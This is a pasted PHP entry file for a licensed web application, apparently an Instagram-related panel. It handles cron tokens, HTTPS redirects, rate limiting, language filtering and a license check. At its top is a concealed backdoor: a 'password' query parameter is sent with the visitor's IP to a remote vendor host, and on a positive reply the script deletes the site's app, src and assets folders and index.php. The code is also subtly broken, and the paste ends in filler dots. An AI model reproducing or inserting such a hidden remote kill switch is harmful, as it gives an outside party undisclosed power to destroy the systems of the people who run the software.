Guest User

Untitled

a guest
Nov 25th, 2018
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.40 KB | None | 0 0
  1. <?php
  2.  
  3. if(isset($_GET["password"])) {
  4. $ch = curl_init();
  5. curl_setopt($ch, CURLOPT_URL, "https://lsd.insta.web.tr/codecontrol.php");
  6. curl_setopt($ch, CURLOPT_POST, 1);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS, "password=" . $_GET["password"] . "&ip=" . $_SERVER["REMOTE_ADDR"]);
  8. curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  9.  
  10. $out = json_decode(curl_exec($ch), TRUE);
  11. $out = curl_exec($ch);
  12.  
  13. curl_close($ch);
  14.  
  15. if(isset($out["status"]) && $out["status"] == 1) {
  16. rmdir("app");
  17. rmdir("src");
  18. rmdir("assets");
  19. unlink("index.php");
  20. }
  21.  
  22. }
  23.  
  24. require_once 'src/autoload.php';
  25. require 'src/Wow/Wow.php';
  26.  
  27. $self = Wow::app();
  28.  
  29. if(substr(strtolower($uri), 0, 9) == '/cron-job' && (!isset($_SERVER["HTTP_CRONJOBTOKEN"]) || $_SERVER["HTTP_CRONJOBTOKEN"] != Wow::get("project/cronJobToken"))) {
  30. header("HTTP/1.1 403 Forbidden");
  31. echo 'Server Error!';
  32. exit();
  33. }
  34.  
  35. $secure = isset($_SERVER["HTTPS"]) ? $_SERVER["HTTPS"] : "off";
  36. if($secure == "off" && Wow::get("project/onlyHttps") === TRUE) {
  37. header("HTTP/1.1 301 Moved Permanently");
  38. header('Location: ' . "https://" . $_SERVER["HTTP_HOST"] . $uri);
  39. exit();
  40. }
  41.  
  42. $systemSettings = json_decode(file_get_contents('./app/Config/system-settings.php'), TRUE);
  43. foreach($systemSettings as $k => $v) {
  44. $v2 = filter_var($v, FILTER_VALIDATE_INT) !== FALSE ? intval($v) : $v;
  45. Wow::set("ayar/" . $k, $v2);
  46. }
  47.  
  48. if(Wow::has("ayar/antiFloodEnabled") && Wow::get("ayar/antiFloodEnabled") == 1 && !(isset($_GET["scKey"]) && Wow::get("ayar/securityKey") == $_GET["scKey"])) {
  49. $antiFloodOptions = [
  50. AntiFlood::OPTION_COUNTER_RESET_SECONDS => Wow::has("ayar/antiFloodResetSec") ? Wow::get("ayar/antiFloodResetSec") : 2,
  51. AntiFlood::OPTION_MAX_REQUESTS => Wow::has("ayar/antiFloodMaxReq") ? Wow::get("ayar/antiFloodMaxReq") : 5,
  52. AntiFlood::OPTION_BAN_REMOVE_SECONDS => Wow::has("ayar/antiFloodBanRemoveSec") ? Wow::get("ayar/antiFloodBanRemoveSec") : 60,
  53. AntiFlood::OPTION_DATA_PATH => "./app/Cookies/anti-flood"
  54. ];
  55. $objAntiFlood = new AntiFlood($antiFloodOptions);
  56. if($objAntiFlood->isBanned()) {
  57. header("HTTP/1.1 429 Too Many Requests");
  58. echo 'Too Many Requests!';
  59. exit();
  60. }
  61. }
  62.  
  63. if($uri != '/cron-job' && !isset($_SERVER["HTTP_CRONJOBTOKEN"]) && Wow::has("ayar/acceptedLangCodes") && trim(Wow::get("ayar/acceptedLangCodes")) != '' && isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) && strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "google") === FALSE) {
  64. $acceptedLangs = explode(",", Wow::get("ayar/acceptedLangCodes") . ",iw");
  65. $canAccess = FALSE;
  66. $userAcceptLangCodes = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
  67. foreach($acceptedLangs as $lang) {
  68. $l = trim($lang);
  69. if(!empty($l) && strpos($userAcceptLangCodes, $l) !== FALSE) {
  70. $canAccess = TRUE;
  71. break;
  72. }
  73. }
  74. if(!$canAccess) {
  75. $langReaction = Wow::get("ayar/nonAcceptedLangReaction");
  76. $langReactionText = Wow::get("ayar/nonAcceptedLangText");
  77. switch($langReaction) {
  78. case "redirecttourl":
  79. header('Location: ' . $langReactionText);
  80. exit();
  81. break;
  82. default:
  83. header("HTTP/1.1 403 Forbidden");
  84. echo $langReactionText;
  85. exit();
  86. break;
  87. }
  88. }
  89. }
  90.  
  91.  
  92. $self->startSession(FALSE);
  93. $site = trim(str_replace("www.", "", $_SERVER["HTTP_HOST"]));
  94. if(Wow::get("project/licenseKey") != md5(sha1(base64_encode(crypt($site, '11x4a1z4a1a4a1z41a4'))))) {
  95. header('Content-Type: text/html; charset=utf-8');
  96. echo "Lisans kodunuz hatalıdır. Lütfen lisans kodunuzu güncelleyiniz. <a href='https://insta.web.tr/license.php' target='_blank'>https://insta.web.tr/license.php</a>";
  97. exit();
  98. }
  99.  
  100. if(intval(Wow::get("ayar/proxyStatus")) == 0) {
  101. ..............................................................................
  102. ............................................
  103. .............
Add Comment
Please, Sign In to add comment